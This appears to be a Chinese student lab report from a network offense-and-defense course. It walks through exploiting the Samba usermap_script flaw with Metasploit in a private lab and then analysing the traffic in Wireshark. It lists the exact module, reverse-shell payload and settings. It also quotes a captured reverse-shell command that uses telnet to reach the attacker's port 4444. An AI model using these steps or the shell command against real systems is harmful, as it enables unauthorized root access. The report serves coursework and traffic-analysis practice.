20212919 2021-2022-2 《网络攻防实践》实践7报告
20212919 2021-2022-2 《网络攻防实践》实践7报告
1.实践内容
Metasploit
是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
Linux架构
严格意义上,操作系统定义为:控制计算机硬件资源的软件,同时提供坏境让程序可以运行。
Linux系统一般有4个主要部分:内核、shell、文件系统和应用程序。内核、shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序、管理文件并使用系统。部分层次结构如图所示
内核的接口是一个软件层,称之为系统调用(如上图中的阴影部分),通用库函数是建立在系统调用接口之上,应用程序可以自由的使用这两者。Shell是一种特殊的应用程序,它提供接口来运行其他的应用程序。广义上来说,操作系统是内核和所有其他的软件的集合,这些软件使得计算机能够发挥作用,并给予计算机以独有的特性。其他的软件包括系统工具,应用程序,shells,通用函数库等等。
Samba安全漏洞
linux 环境下常用的 samba 服务低版本存在溢出攻击。
Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB 协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
虚拟机 | IP |
---|---|
kali(攻击机) | 192.168.200.10 |
Metasploitable_ubuntu(靶机) | 192.168.200.123 |
互ping成功截图如下:
①启动Metasploit软件,根据个人喜好使用msfconsole。
②选择使用exploit中的usermap_script渗透攻击模块,在kali端输入use exploit/multi/samba/usermap_script。
③选择攻击PAYLOAD为远程shell
首先输入show payloads来把负载模块都一一列举出来。
输入set payload cmd/unix/reverse命令,选择攻击负载模块TCP为reverse,编号18。
④设置渗透攻击参数(RHOST,LHOST,TARGET等)
输入show options命令来查看相关参数。
输入set LHOST 192.168.200.10设置攻击机为kali,和set RHOST 192.168.200.123设置靶机为Metasploitable_ubuntu。
在kali输入show options可以看到配置成功。
⑤执行渗透攻击
在kali端输入exploit。
⑥查看是否正确得到远程Shell,并查看获得的权限。
输入ifconfig查看靶机IP为192.168.200.123,表明渗透攻击成功。之后输入whoami查看获得权限为root。
(2)实践作业:攻防对抗实践
虚拟机 | IP |
---|---|
kali(攻击机) | 192.168.200.10 |
Metasploitable_ubuntu(靶机) | 192.168.200.123 |
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试获得root权限。
输入set LHOST 192.168.200.10设置攻击机IP,和set RHOST 192.168.200.123设置靶机IP。
输入show options显示配置成功。
输入exploit开始攻击。
输入ifconfig查看靶机IP,与真实IP一致说明渗透攻击成功,接着再whoami一下可以看到权限为root。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
虚拟机 | IP |
---|---|
kali(攻击机) | 192.168.200.10 |
Metasploitable_ubuntu(靶机) | 192.168.200.123 |
打开wireshark查看攻击过程中建立的TCP三次握手过程。
由上图可以看到:
第一条TCP包显示攻击者kali(IP:192.168.200.10)的端口为33905,靶机Metasploitable_ubuntu(IP:192.168.200.123)的端口为139。
由于靶机的139端口是Samba服务端口,所以可以知道此次攻击是对Samba服务漏洞进行的攻击。
接着查看TCP建立连接时间为2022年4月29日的下午3:48:03。
可以看到选中的SMB数据包下的TCP数据流,可以追踪到以下部分信息:
- nohup就是no hangup,不要挂断,忽略hup信号。标准输出内容会输出到当前目录的nohup.out日志文件中而不终端显示。
- sh表示运行shell的命令。
- telnet 192.168.200.10 4444表示通过4444号端口将数据传入攻击机。
- 2&>1表示的是linux中的文件号。1代表标准输出流,2为错误输出流,&>表示合并标准输出和错误输出且重定向。
追踪TCP包的TCP流,可以看到攻击成功之后执行了哪些命令以及相关内容。
3.学习中遇到的问题及解决
- 问题1:实验开始时攻击机ping不通靶机
- 问题1解决方案:调整攻击机和靶机的网络适配器,设置为同一个网关。
4.实践总结
本次实验学习了用Metasploit进行Linux远程渗透攻击,以及攻防对抗过程,实验做到今天已经熟练掌握了攻击机与靶机之间的攻击过程,以及对命令提示符的使用过程,上手速度越来越快,理解的也越来越深刻,期待下次实践。